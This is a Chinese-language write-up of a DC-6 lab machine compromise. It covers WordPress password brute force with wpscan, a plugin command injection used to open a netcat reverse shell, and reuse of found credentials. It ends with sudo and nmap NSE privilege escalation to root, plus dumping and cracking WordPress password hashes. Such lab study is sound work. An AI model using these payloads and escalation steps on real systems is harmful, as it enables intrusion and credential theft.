前言:本次靶机相较于之前的设置漏洞的点又有些许变化,按照之前打靶的流程做是做不出来的,除非能找到注入点(但我觉得不太现实,就是不知道这个漏洞的情况下能在这么多界面的一个CMS中找出来)


免责声明
重要提醒:本文档/文章仅限于合法的学习与研究目的,严禁用于任何非法、违规或损害他人权益的活动
本文档所有技术演示仅在本地虚拟机环境(DC-6靶机)中进行,不涉及任何真实在线系统或商业游戏。作者不对任何读者因误用本文内容而引发的账号封禁、数据丢失、法律追责或其他后果承担任何责任。
如本文无意中涉及任何可被滥用的技术细节,纯属客观描述现有公开机制,不提供可执行方案,也不承担后续责任。
阅读/使用本文即表示您已完全理解并同意以上条款。如不同意,请立即停止阅读。


1.信息搜集:

扫网段和端口:

nmap -sn 10.254.85.0/24 

nmap -sV -p- 10.254.85.74 

看到是有SSH的,先进浏览器访问一下,发现变成了wordy/,那么这个就跟DC-2一样,/etc/hosts里面修改一下,linux和windows写的专栏中都有记录,翻一下或者问问ai就行,这里不再赘述

进去之后左上角直接有个非常明显的符号,点开来看一眼:

这样都不用指纹识别了,回顾一下DC-2的流程来一遍,先扫一下目录看看有没有登录界面:

dirsearch -u http://wordy 

 

看一下确实是登录界面:


2.密码爆破

那么之前打DC-2的时候用的是cewl生成的字典进行的爆破,这里先同样进行操作:


cewl http://wordy > 2.txt

wpscan --url http://wordy --passwords 2.txt

但是这里会出现一个问题:

就是直接用cewl生成的字典进行爆破是找不到密码的,那么我们就要换更大的字典,但是直接上rockyou不知道要爆到猴年马月,因此作者也进行了提示:

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

这条命令的作用是从 Kali Linux 自带的庞大密码字典 rockyou.txt 中,筛选出所有包含 "k01" 字符串的行,并保存为新的字典文件 passwords.txt。这正是能成功爆破出密码的关键

wpscan --url http://wordy --passwords passwords.txt

最后爆破出来一个mark:


3.获取shell

进行登录之后翻了一下没找到可以执行反弹shell的地方,然后我就想着metasploit能不能搞出个shell,先是直接搜了一下:

search wordpress

#这里直接列出来两百多条,太多了就缩减一下

search wordpress 5.1.1

没找到哎,换个思路试试SSH能不能连接,尝试之后发现也不行,没思路了,要了点提示之后说这里是插件漏洞,【眼界还是窄了...】也是用wpscan扫的:

wpscan --url http://wordy -e ap
选项 含义
-e ap 枚举所有插件(All Plugins),并识别哪些存在已知漏洞
-e vp 只枚举有漏洞的插件(Vulnerable Plugins)
-e u 枚举用户名(Users)
-e t 枚举主题(Themes)
-e tt 枚举所有主题(All Themes)

但是这里扫一下没扫出来,还得换更加激进的:

wpscan --url http://wordy/ -e ap --plugins-detection aggressive


更彻底的扫描:
不依赖页面中暴露的线索
会测试大量常见的插件路径

适用于:
插件被隐藏了(开发者故意不暴露)
被动检测没发现
需要更全面的信息收集

对比一下:

命令 检测模式 特点
wpscan --url http://wordy -e ap 被动检测(默认) 通过页面源代码、链接、响应头等特征识别插件,速度较快,但可能漏掉隐藏的插件
wpscan --url http://wordy -e ap --plugins-detection aggressive 主动检测 通过尝试访问常见的插件路径来确认是否存在,更全面但速度较慢,可能产生更多日志

发现一个红色感叹号❗:

这里还有一个需要注意的点是最前的plainview是插件的路径,为啥这么说呢,看下面的就知道了:

searchsploit plainview-activity-monitor
#找了一下没找到...

searchsploit activity monitor

这里我们可以直接看poc,后面退出的话按一下q即可:

searchsploit -x exploits/php/webapps/45274.txt

一个RCE漏洞,在目标路径下可以执行反弹shell,并且提交方式为lookup形式,按照这个思路取页面上找一下:

那么上面的输入框就是我们的注入点了【不知道这个漏洞一个个页面找过去这要多久啊...所以前言里说直接找注入点找不到】

那么输入一下命令,发现有长度限制,最后一个i输不进去,检查一下:

127.0.0.1;whoami

可以看到前端限制长度为15,这里可以直接修改元素或者BP抓包,然后提交的时候需要按lookup,可以看到命令被执行了:

 

那么我们就能反弹shell:

#kali中开启监听:
nc -lvnp 4444

#BP中输入
127.0.0.1;nc -e /bin/bash ip 4444

成功连上,换成交互式:

python -c 'import pty;pty.spawn("/bin/bash")'

4.横向移动

然后就是找找有没有用的文件啥的,四处翻了一下在/home/mark/stuff下发现:

那么就cat一下,找到了另一个user的账户和密码,尝试SSH连接:

graham    GSo7isUM1D4

ssh graham@10.254.85.74


5.提权

成功连上,老样子找找SUID或者sudo -l啥的:

find / -perm -u=s -type f 2>/dev/null

sudo -l

发现jens说是可以无密码执行给出目录下的文件,先看一眼文件:

cat /home/jens/backup.sh

tar 是 Linux 的打包/压缩工具

参数	含义
c	create - 创建新的归档文件
z	gzip - 通过 gzip 进行压缩
f	file - 指定归档文件的名称

即将 /var/www/html 目录(WordPress 的网站根目录)
打包并压缩
保存为 /tmp/backup.tar.gz 文件

  1. sudo -u jens 以 jens 身份运行

  2. tar 命令执行完毕

  3. 脚本结束,自动退出 jens 的身份

  4. 返回到 graham 的 shell

但是我们现在需要的是jens的shell,因此要对脚本进行相应修改,让它在执行完原有命令之后再启动一个shell,可以再最后用echo进行追加

echo "/bin/bash" >> /home/jens/backups.sh

sudo -u jens /home/jens/backups.sh

成功切换到jens,再看一下:

看到jens 可以无需密码以 root 身份执行 nmap 命令,因此这里用到nmap进行提权。nmap 有一个交互模式,可以用来执行系统命令,这是 DC-6 最终提权的关键,这里interactive好像没有:

那么就换script,输入以下命令:

echo 'os.execute("/bin/bash")' > /tmp/shell.nse

#部分	                                     含义
#echo 'os.execute("/bin/bash")'	   输出字符串 os.execute("/bin/bash")
#>	                                重定向符号,将输出写入文件
#/tmp/shell.nse	                        创建的文件路径

#实际效果:在 /tmp/ 目录下创建一个名为 shell.nse 的文件,内容为:os.execute("/bin/bash")
#.nse 是 Nmap Script Engine 的脚本扩展名。nmap 支持用 Lua 语言编写脚本,os.execute() 是 Lua 中执行系统命令的函数。

sudo nmap --script=/tmp/shell.nse

 虽然变成了root,但是又出现了一个新的问题,就是输入字母啥的没反应,后面又试了以下发现是没回显的,命令可以正常执行,那么试试能不能变成交互式:

python -c 'import pty;pty.spawn("/bin/bash")'

可以哩,那么就能拿到我们的flag了:

Congratulations!


6.拓展

按流程下来的话到这里是痕迹清理了,但是方法都一样所以从5开始就没再写过,然后这次做完之后我又到处逛了一下,突然发现/var/log/mysql里面竟然也有日期:

我就很好奇为啥没有用到MySQL里面的东西也会有这种东西,先看一下进程:

ps aux | grep mysql

  • MySQL 服务确实在运行(PID 487)

  • CPU 占用 0.5%,说明有活动

  • 内存占用 95MB 左右,是正常范围

查看WP的配置,看是否真的使用了MYSQL:

cat /var/www/html/wp-config.php | grep DB_

WordPress 确实在使用 MySQL 作为数据库,数据库名是 wordpressdb,用户名是 wpdbuser。

那么我就在想能不能找到其他用户的密码,尝试一下发现数据(就是在图中的wp-config.php中):

来个一条龙:

# 登录 MySQL
mysql -u root -p
# 尝试密码 meErKatZ,或者空密码,或者从其他地方找的密码

# 如果 root 密码不对,用 wpdbuser 登录
mysql -u wpdbuser -p
# 密码: meErKatZ

# 查看数据库内容
use wordpressdb;
show tables;
select * from wp_users;

看样式是phpass 哈希,后面是盐值和加密后的密码,可以将密码保存到另一个文件中进行破解:

# 在 Kali 上创建文件
cat > wp_hashes.txt << 'EOF'
admin:$P$BDhiv9Y.kOYzAN8XmDbzG00hpbb2LA1
graham:$P$B/mSJ8xC4iPJAbCzbRXKilHMbSoFE41
mark:$P$BdDI8ehZKO5B/cJS8H0j1hU1J9t810/
sarah:$P$BEDLXtO6PUnSiB6lVaYkqUIMO/qx.3/
jens:$P$B//75HFVPBwqsUTvkBcHA8i4DUJ7Ru0
EOF

# 使用 rockyou.txt 字典
john --wordlist=/usr/share/wordlists/rockyou.txt wp_hashes.txt

# 查看已破解的密码
john --show wp_hashes.txt

但我之前懒直接OCR识别了一下然后爆破爆了26分钟后面才发现有问题/(ㄒoㄒ)/~~

重新爆破的话速度好像变慢了好多,因此这里就不爆破了,感兴趣的可以自己尝试能不能爆破出来,出来的话再登录一下看看界面有没有不一样的地方,尽情探索吧o(* ̄▽ ̄*)ブ。

 

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐